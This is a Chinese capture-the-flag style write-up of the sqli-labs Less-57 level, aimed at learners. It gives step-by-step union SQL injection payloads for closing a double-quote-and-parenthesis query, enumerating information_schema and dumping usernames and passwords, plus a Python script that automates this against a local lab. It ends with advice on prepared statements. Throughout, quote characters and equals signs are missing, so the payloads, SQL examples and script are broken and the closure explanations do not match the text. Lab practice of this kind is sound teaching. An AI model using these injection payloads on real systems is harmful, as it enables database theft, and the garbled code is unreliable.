sqli-labs Less-57通关实战:双引号括号闭合与联合注入详解

发布时间:2026/10/16 20:38:15
sqli-labs Less-57通关实战:双引号括号闭合与联合注入详解
如果你刷sqli-labs靶场刷到 Less-57多半会有一个感觉前面那些关卡白学了。原因很简单Less-57 和前几十关的“喂饭”模式完全不同它属于挑战关闭合方式不会写在题目里表名又是随机生成的哪怕你手里有一堆现成 Payload直接套 Less-1 的模板也只会反复撞墙。这篇文章专门围绕sqli-labs-Less-57展开讲清楚这一关到底考什么、怎么手工过关以及怎么用脚本把这一关彻底拿捏。不管你是刚开始接触 SQL 注入还是已经刷到挑战关想收尾这篇都值得看完尤其是最后那几段踩坑记录和防御视角可能比 Payload 本身更有用。Less-57 的定位是“黑盒挑战”它不会告诉你后端代码长什么样你必须靠页面回显和报错差异自己反推出参数的拼装方式。它模拟的场景非常真实一个 ID 参数被后端用双引号包起来外面再加了一层括号类似WHERE id($id)。这种写法在真实代码里不罕见尤其是把参数直接塞进函数调用或组合条件里的时候。你要做的就是通过构造特殊输入把前面的双引号和括号“闭掉”让自己的 SQL 片段能够接在后面继续执行。1. 先把 Less-57 的位置和思路盘清楚1.1 从普通关到挑战关变化在哪里sqli-labs 前面十几关是典型的“教科书模式”每一关都在告诉你一个知识点单引号闭合、双引号闭合、数字型、基于报错、基于布尔盲注、基于时间盲注……你只要按照提示去试基本都能过关。但 Less-54 到 Less-57 这批挑战关官方刻意去掉了提示要求你像做真实渗透测试一样从零开始探测。Less-57 在挑战关序列里的特征是参数被双引号和右括号一起包裹。这一点如果你不知道只靠单引号去测会发现怎么测都是空白页面或者无回显但又不报错非常容易误判成“这里没有注入”。我最初刷这一关的时候先试了?id1页面正常显示但内容没有变化再试?id1--还是没反应。当时差点直接跳过。后来静下心一想这种“不报错但也不出数据”的现象通常说明输入被当成了普通字符串的一部分而不是提前结束了 SQL 语句。于是开始逐个测试双引号、括号、组合闭合最后试到?id1)--页面正常回显才真正确定闭合方式。1.2 为什么挑战关难住那么多新手新手在这里最容易犯的错就是“重模板、轻观察”。脑子里装了 Less-1 的?id1 order by 3--到了 Less-57 还是原封不动地打发现不对就开始怀疑工具、怀疑靶场。实际上SQL 注入的本质不是背 Payload而是理解后端如何拼接字符串。假设后端 SQL 长这样SELECT * FROM users WHERE id($id) LIMIT 0,1;当你传1进去实际执行的 SQL 是SELECT * FROM users WHERE id(1) LIMIT 0,1;注意看1只是变成了括号里的一个字符串值SQL 语法完全正确但这个值在表里当然不存在所以查询结果为空页面显示“没有该记录”。这就是为什么你看到的是空白而不是报错。当你传1 or 11--还是没反应因为单引号没有闭合任何东西or 11照样只是字符串的一部分。只有当传入1)时SQL 变成SELECT * FROM users WHERE id(1)) LIMIT 0,1;多了一个双引号括号也提前闭合了语法直接出错页面才会抛出 SQL 错误。这种“报错才是有效线索”的意识是挑战关真正想训练的东西。1.3 过关前要补的最小知识集如果你是从前面关卡一路打过来的下面这些应该都见过但值得在打进 Less-57 之前再温习一遍联合查询union select 1,2,3的目标是让原查询和注入出来的查询结果合并把数据从页面上“借位”显示出来。order by 判列数order by 3正常、order by 4报错说明原查询只有 3 列联合查询里也必须写 3 列。information_schemaMySQL 的元数据库里面存着所有库名、表名、列名。对于表名随机生成的挑战关来说这是唯一的突破口。注释符与 URL 编码常用--实际含义是--加一个空格加号被后端解析成空格。不注释掉后面的 SQL 片段union 查询很容易受干扰。2. 手工探测闭合方式这步决定了后面所有操作2.1 第一轮试探逐步缩小范围先把目标地址假定为本地靶场环境比如http://127.0.0.1/sqli-labs/Less-57/页面里有一个id参数。正常访问?id1页面会返回类似Your Login name: Dumb Your Password: Dumb这个时候你需要做一组测试把常见的闭合字符都过一遍?id1 ?id1 ?id1) ?id1) ?id1)) ?id1))Less-57 这关的关键路径是?id1)。当你访问?id1)时页面会出现 SQL 语法错误的提示说明我们输入的)参与了 SQL 解析导致原本合法的语句结构被破坏。换个角度说这个错误就是“你找到了闭合方式”的信号。需要特别提醒的是双引号在 URL 里直接传是可以的但有些环境或中间件会对双引号做额外处理。为了更稳可以在实际请求中把双引号做 URL 编码%22。也就是请求?id1%22)--这样发出去后后端拿到的参数值依然是1)--但整个 URL 更兼容、更不容易被 Web 层拦掉。2.2 确认闭合后的标准姿势找到能够触发报错的输入后接下来要确认“闭合 注释”组合能不能让页面恢复正常并且返回数据。请求?id1)--如果页面恢复成正常的数据回显说明我们构造的)成功闭合了 SQL 语句中的双引号和右括号而--把后面原本存在的内容比如LIMIT 0,1注释掉了。此时后端实际执行的 SQL 大概是SELECT * FROM users WHERE id(1))-- ) LIMIT 0,1;其中后面被注释掉的部分不再生效。这时候注入点已经彻底可控后面的所有操作都可以基于这个闭合模板展开。2.3 用 order by 确定列数闭合确定之后下一步是判列数。Less-57 的表结构虽然表名随机但查询列数固定为 3 列。依次尝试?id1) order by 3-- ?id1) order by 4--第一条如果正常回显说明原查询至少能按第 3 列排序第二条如果报错说明列数最多到 3。那么联合查询就是?id1) union select 1,2,3--请求之后页面的 Login name 和 Password 位置如果出现数字2和3说明这两个字段位可以被我们控制。这个回显位置会成为后面“搬运数据”的窗口。如果order by 3和order by 4都正常别急着往下走说明闭合可能没找对。比如你把双引号漏了实际执行的是order by 3作为字符串的一部分并没有真正进入排序逻辑当然不会报错。这种时候回头检查闭合。3. 联合注入把随机表名一点点“钓”出来3.1 为什么要先去查 information_schemaLess-57 的目标表名是随机生成的不可能靠猜。比如它可能是4j7h5da1x2这种字符串也可能是其他随机组合。表名都不知道自然没法直接select * from 某表所以必须先通过 MySQL 自带的information_schema.tables把数据库里所有表名列出来再从里面锁定目标表。在联合查询里我们可以把第二个回显位换成table_name让页面把表名直接显示出来。请求?id1) union select 1,table_name,3 from information_schema.tables where table_schemadatabase()--这里database()是当前使用的数据库名。因为挑战关的业务表就放在当前库里所以过滤条件足够精准。执行后页面的 Login name 或 Password 位会显示一个或多个表名。如果显示的列表太长或者页面回显区域有限可以使用group_concat(table_name)把表名拼成一行方便直接看全?id1) union select 1,group_concat(table_name),3 from information_schema.tables where table_schemadatabase()--Limit 也可以用适合回显区域比较小的情况比如limit 0,1一个个翻。不过挑战关场景下业务表通常只有一个多数情况一页就出结果。3.2 拿到表名后继续挖列名假设页面显示的表名是r4d0m_tbl。下一步去information_schema.columns里查这个表有哪些列?id1) union select 1,group_concat(column_name),3 from information_schema.columns where table_schemadatabase() and table_namer4d0m_tbl--执行后列名会拼在一起显示。常见情况下挑战关的表会有id、username、password或flag之类的字段。因为列名也未知这一趟是必须的。有一个细节如果我写的这个随机表名里包含单引号而表名在查询里是用单引号包裹的会不会冲突MySQL 的标识符和字符串是两回事。在这个查询里表名是作为字符串常量传给table_namer4d0m_tbl所以不会因为表名本身是随机字符串而需要额外转义。除非表名正好是保留字或者带有特殊字符那在最终select时需要加反引号包裹比如r4d0m_tbl。不过挑战关一般不会设置这种极端障碍。3.3 最后一步爆出表内数据列名已知后直接查数据。假设列名是id,username,password?id1) union select 1,username,password from r4d0m_tbl--这时页面的回显位就会出现用户名和密码挑战完成。注意一个顺序问题联合查询要求两边的列数相同。原查询 3 列所以这里union select 1,username,password也是 3 列。不要把username放到union select的第一个位置除非你确定页面第一列有回显。Less-57 通常只有第 2、第 3 位能看到数据所以就按这个结构写。3.4 手工操作时的几个小技巧一次会话内做完挑战关的随机表名是“重置关卡”时生成的同一轮挑战里不会有变化。如果你中途刷新太多次可能触发新的随机表名导致前面查到的表名失效。手工测试时拿到表名后尽快完成后续查询。注意回显位置迁移当union select 1,table_name,3返回了表名后面你要爆字段时如果字段特别长、页面显示不下可以换一个回显位。比如第 2 位放column_name第 3 位放table_name或者反过来灵活处理。单引号和双引号注意编码在information_schema查询里table_namexxx使用了单引号。这个单引号和注入闭合用的双引号不冲突但 URL 里直接写没问题。如果你用了 Burp 或浏览器测试确保编码正确。4. 实战中踩过的坑排查清单与避坑技巧4.1 页面空白但不报错怎么办这是 Less-57 最坑的一点。单引号探测时页面经常是“白板”或“无数据”导致很多人认为不存在注入。我的处理办法是把1改成1--再看一次。如果还是空白就继续试双引号和括号组合。核心思路不是看“有没有回显变化”而是看“有没有 SQL 语法错误”。在本地靶场中如果开了错误提示正确闭合的输入一定会触发 SQL 报错。一旦看到类似You have an error in your SQL syntax的提示就说明闭合字符对了。如果你在测试时发现很难从页面上分辨是否报错可以直接看返回包的响应体或者在 Burp 里查看原始响应。盲测时我经常用响应长度判断正常页面几百字节报错页面可能上千字节差异很明显。4.2 order by 一会成功一会失败可能是闭合不稳定有个例外情况闭合方式确实是对的但order by之后不报错。比如某些后端代码对order by后内容做了白名单校验或者把非预期输入强制转成了字符串。这种情况虽然 Less-57 没遇到但在真实测试里常见。如果你在 Less-57 遇到order by 3正常、order by 4也正常先不要怀疑自己。可以直接用联合查询试列数union select 1,2,3如果内容显示出来了说明 3 列可行再试union select 1,2,3,4如果报错说明就是 3 列。用联合查询的报错来判断列数比 order by 更直观。4.3 查表名查出来一堆系统库的表如果你在information_schema.tables里直接不带条件地查询会看到information_schema、performance_schema、mysql、sys等系统库表干扰视野。解决方法是规范化过滤条件where table_schemadatabase()如果业务表确实不在当前库也可以改成where table_schema not in (information_schema,performance_schema,mysql,sys)通常挑战关无关系统表直接table_schemadatabase()就够了。4.4 group_concat 结果被截断看不全页面回显区域有限当字段多、表名长时group_concat可能会被截断只显示一部分。这种情况下建议使用limit分页查看union select 1,table_name,3 from information_schema.tables where table_schemadatabase() limit 0,1然后改limit 1,1看第二个以此类推。每次只输出一个值页面再窄也能看清。4.5 大小写和反引号问题MySQL 在 Linux 下表名区分大小写Windows 下不区分。Less-57 的随机表名经常混合大小写如果你手动输入表名时大小写写错了可能查不到数据。这里建议直接复制页面回显的表名不要自己敲。如果表名是纯数字开头或者包含特殊字符MySQL 会把它当成数字或表达式导致查询出错。解决办法就是在最终查询时把表名用反引号包起来union select 1,username,password from r4d0m_tbl虽然挑战关很少需要但这是一个通用习惯。5. 用脚本把 Less-57 一键打通手工做完一轮流程后可以考虑把整个步骤脚本化。这样一方面能加深理解另一方面也为以后刷类似的“随机表名挑战关”积累模板。我提供一个最小流程基于 Python 的 requests 库只写清思路实际使用时根据你自己的页面结构微调即可。脚本逻辑分四步确认闭合方式。查表名。查列名。查数据。代码如下import requests import re # 靶场地址本地测试环境请确保你有权访问 base_url http://127.0.0.1/sqli-labs/Less-57/ session requests.Session() def send(payload): # 这里 payload 是完整拼接好的 id 参数值 url base_url ?id payload r session.get(url, timeout10) return r.text # 1. 验证闭合双引号加右括号 html send(1%22)%20order%20by%203--) print(order by 3 length:, len(html)) html send(1%22)%20order%20by%204--) print(order by 4 length:, len(html)) # 2. 查表名你需要在响应里匹配回显位置 payload 1%22)%20union%20select%201,table_name,3%20from%20information_schema.tables%20where%20table_schemadatabase()-- html send(payload) # 用正则或 BeautifulSoup 提取页面中的表名 # 不同版本页面结构不同这里只是示例请按实际响应调整 match re.search(rLogin name:\s*(.*?)\s*/font, html) if match: table_name match.group(1).strip() print(Found table:, table_name) else: print(Table not found, check page structure) print(html[:1000]) raise SystemExit(1) # 3. 查列名 payload_col f1%22)%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_schemadatabase()%20and%20table_name{table_name}-- html send(payload_col) print(Column raw output:) # 自行从 html 提取列名这里只打印响应便于观察 print(html[:2000]) # 4. 已知列名后查数据这里假设列名是 username,password payload_data f1%22)%20union%20select%201,username,password%20from%20{table_name}-- html send(payload_data) # 从响应中提取 username 和 password这段脚本里最大的变量是页面结构解析。sqli-labs 靶场版本比较多有的输出Your Login name有的输出Username还有的引入了额外样式标签。所以我没有把正则写死更推荐你先把第二步的响应打印出来人工看一眼格式再写提取逻辑。另一个建议脚本中用会话保持 Cookie避免某些关卡依赖会话状态导致查询结果不稳定。我在刷挑战关时踩过这个坑开了新的无 Cookie 请求后表名直接变掉了。6. 从 Less-57 学到的通用思路以及防御视角6.1 黑盒闭合探测的本质是什么Less-57 表面上是让我学会用)闭合但更深一层它训练的是“信息差”判断能力你看到的正常输出、空输出、报错输出都是信息。每一次请求回显的差异都在透露后端拼接逻辑的蛛丝马迹。真实漏洞挖掘中很少会遇到教科书一样的理想环境。参数可能被过滤、可能被编码、可能有多层嵌套。你能做的就是坚持尝试不同的闭合组合并通过响应差异推导出结构化语法。这个过程靠背 Payload 是做不到的必须理解 SQL 解析器眼里你的输入到底变成了什么。6.2 这一关为什么强调“参数拼装”问题举个生活例子你把一张写了文字的纸条塞进一本已经印刷好的杂志里如果你塞得位置不对整个杂志页码就错乱如果你刚好把纸条剪成和杂志缺口完全吻合的形状你的内容就能被当成“原本就有的内容”展示出来。SQL 注入的闭合过程就是这个原理。Less-57 的双引号加括号就是那个需要剪裁吻合的特殊缺口。6.3 防御侧该怎么做写到这里必须强调Less-57 这类靶场是用来学习和理解漏洞原理的所有测试都应当放在自己搭建的本地环境或获得授权的靶场中。未经授权对他人网站做注入测试在任何地区都是违法的。而从防御角度看Less-57 展示的问题其实很容易根治用参数化查询或预编译语句就不会存在“拼接缺口”。比如 PHP 的 PDO 预编译写法$stmt $conn-prepare(SELECT * FROM users WHERE id ?); $stmt-execute([$id]);无论$id传什么值进去数据库只会把它当作一个字符串参数而不是 SQL 语法结构的一部分。双引号也好、右括号也好都变成无害的数据。这也是我在刷完 Less-57 以后最大的感受攻击端的复杂操作在防御端往往只是一行代码的差距。拿我自己来说Less-57 是当时挑战关里卡得最久的一关。原因不是它有多难而是我一开始太想秀 Payload忽略了“先确认闭合”这一基础操作。等到老老实实做了一轮闭合探测、把报错信息当成唯一依据之后后面的路反而顺畅了。如果你现在也卡在这一关先别急着复制别人的脚本自己把1、1)、1--一个一个试过去体会到报错出现的瞬间这一关的学费才算真正值回来了。